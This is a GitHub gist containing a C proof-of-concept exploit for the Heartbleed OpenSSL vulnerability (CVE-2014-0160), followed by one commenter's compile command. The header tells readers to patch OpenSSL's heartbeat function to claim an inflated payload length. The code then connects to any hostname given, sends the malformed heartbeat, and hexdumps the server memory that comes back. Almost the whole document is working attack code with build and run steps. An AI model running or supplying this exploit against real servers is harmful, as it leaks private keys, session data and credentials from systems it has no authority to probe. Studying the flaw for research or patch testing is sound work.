Created
April 8, 2014 18:03
-
-
Save bojieli/10164334 to your computer and use it in GitHub Desktop.
Heartbleed OpenSSL vulnerbility POC (CVE-2014-0160)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Heartbleed OpenSSL vulnerbility POC | |
* CVE-2014-0160 | |
* | |
* You need to modify OpenSSL client code: ssl/t1_lib.c, function tls1_heartbeat | |
* Previous line: \/\* Payload length (18 bytes here) \*\/ | |
* Old line: s2n(payload, p); | |
* New line: s2n(65536 - 100, p); // pretend that we have so many bytes of payload... | |
* | |
* To compile: | |
* gcc -g -o testssl -Iinclude -L. -lssl ssl/*.o testssl.c | |
* | |
* To run: | |
* ./testssl <hostname> | |
* | |
* Part of OpenSSL client code is from: | |
* http://www.ibm.com/developerworks/opensource/library/l-openssl/index.html | |
*/ | |
#include "openssl/ssl.h" | |
#include "openssl/bio.h" | |
#include "openssl/err.h" | |
#include "stdio.h" | |
#include "string.h" | |
extern int tls1_heartbeat(SSL *s); | |
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| \ | |
(((unsigned int)(c[1])) )),c+=2) | |
static void ssl_callback(int write_p, int version, int content_type, const void* vbuf, size_t len, SSL* ssl, void* arg) | |
{ | |
static unsigned char fingerprint[18]; | |
unsigned char* buf = (unsigned char*) vbuf; | |
if (content_type == TLS1_RT_HEARTBEAT) { | |
int hbtype = *buf++; | |
int payload; | |
n2s(buf, payload); | |
if (hbtype == TLS1_HB_REQUEST) { | |
printf("Sent heartbeat request\n"); | |
memcpy(fingerprint, buf, sizeof(fingerprint)); | |
} | |
else if (hbtype == TLS1_HB_RESPONSE) { | |
printf("Received heartbeat response\n"); | |
if (memcmp(fingerprint, buf, sizeof(fingerprint)) == 0) { | |
printf("Fingerprint matched for first %d bytes\n", sizeof(fingerprint)); | |
} else { | |
printf("Fingerprint unmatched for first %d bytes\n", sizeof(fingerprint)); | |
} | |
printf("version=%d total_length=%d payload_length=%d\n\n", version, len, payload); | |
int i; | |
for (i=0; i<payload; i++) { | |
unsigned char c = buf[i]; | |
printf("%x%x ", (c >> 4), (c & 0xF)); | |
if ((i+1) % 16 == 8) { // emulate hexdump -C | |
printf(" "); | |
} | |
if ((i+1) % 16 == 0) { // print chars and linebreak | |
printf(" |"); | |
int j; | |
for (j=i-15; j<=i; j++) { | |
if (isgraph(buf[j])) | |
printf("%c", buf[j]); | |
else | |
printf("."); | |
} | |
printf("|\n"); | |
} | |
} | |
printf("\n"); | |
exit(0); | |
} | |
else { | |
printf("Received invalid heartbeat\n"); | |
return; | |
} | |
} | |
} | |
int main(int argc, char **argv) | |
{ | |
BIO * bio; | |
SSL * ssl; | |
SSL_CTX * ctx; | |
char *hostname; | |
char *request; | |
char *ssl_hostname; | |
char r[1024]; | |
int p; | |
if (argc <= 1) { | |
printf("usage: %s <hostname> test heartbleed vulnerbility\n", argv[0]); | |
printf(" %s <hostname> test test normal HTTPS connection\n", argv[0]); | |
exit(1); | |
} | |
hostname = argv[1]; | |
request = malloc(1024 + strlen(hostname)); | |
sprintf(request, "GET / HTTP/1.1" "\x0D\x0A" | |
"Host: %s" "\x0D\x0A" | |
"Connection: close" "\x0D\x0A\x0D\x0A", | |
hostname); | |
ssl_hostname = malloc(1024 + strlen(hostname)); | |
sprintf(ssl_hostname, "%s:https", hostname); | |
/* Set up the library */ | |
ERR_load_BIO_strings(); | |
SSL_load_error_strings(); | |
SSL_library_init(); | |
OpenSSL_add_all_algorithms(); | |
/* Set up the SSL context */ | |
ctx = SSL_CTX_new(TLSv1_client_method()); | |
/* Load the trust store */ | |
if(! SSL_CTX_load_verify_locations(ctx, "/etc/ssl/certs/ca-certificates.crt", NULL)) | |
{ | |
fprintf(stderr, "Error loading trust store\n"); | |
ERR_print_errors_fp(stderr); | |
SSL_CTX_free(ctx); | |
return 0; | |
} | |
/* Setup the connection */ | |
bio = BIO_new_ssl_connect(ctx); | |
/* Set the SSL_MODE_AUTO_RETRY flag */ | |
BIO_get_ssl(bio, & ssl); | |
SSL_set_mode(ssl, SSL_MODE_AUTO_RETRY); | |
/* Create and setup the connection */ | |
BIO_set_conn_hostname(bio, ssl_hostname); | |
if(BIO_do_connect(bio) <= 0) | |
{ | |
fprintf(stderr, "Error attempting to connect\n"); | |
ERR_print_errors_fp(stderr); | |
BIO_free_all(bio); | |
SSL_CTX_free(ctx); | |
return 0; | |
} | |
/* Check the certificate */ | |
if(SSL_get_verify_result(ssl) != X509_V_OK) | |
{ | |
fprintf(stderr, "Certificate verification error: %i\n", SSL_get_verify_result(ssl)); | |
BIO_free_all(bio); | |
SSL_CTX_free(ctx); | |
return 0; | |
} | |
/* Send the request */ | |
if (argc >= 3 && strcmp(argv[2], "test") == 0) { | |
BIO_write(bio, request, strlen(request)); | |
/* Read in the response */ | |
for(;;) | |
{ | |
p = BIO_read(bio, r, 1023); | |
if(p <= 0) break; | |
r[p] = 0; | |
printf("%s", r); | |
} | |
} | |
else { | |
SSL_set_msg_callback(ssl, ssl_callback); | |
if (tls1_heartbeat(ssl) <= 0) { | |
printf("Error sending heartbeat request\n"); | |
return 1; | |
} | |
while (1) { | |
printf("Waiting for heartbeat response...\n"); | |
p = BIO_read(bio, r, 1023); | |
sleep(1); | |
} | |
} | |
/* Close the connection and free the context */ | |
BIO_free_all(bio); | |
SSL_CTX_free(ctx); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Thanks.
The following compilation command works for me:
gcc -g testssl.c -o testssl -Iinclude -L. ssl/*.o -lssl -ldl -lcrypto -ldl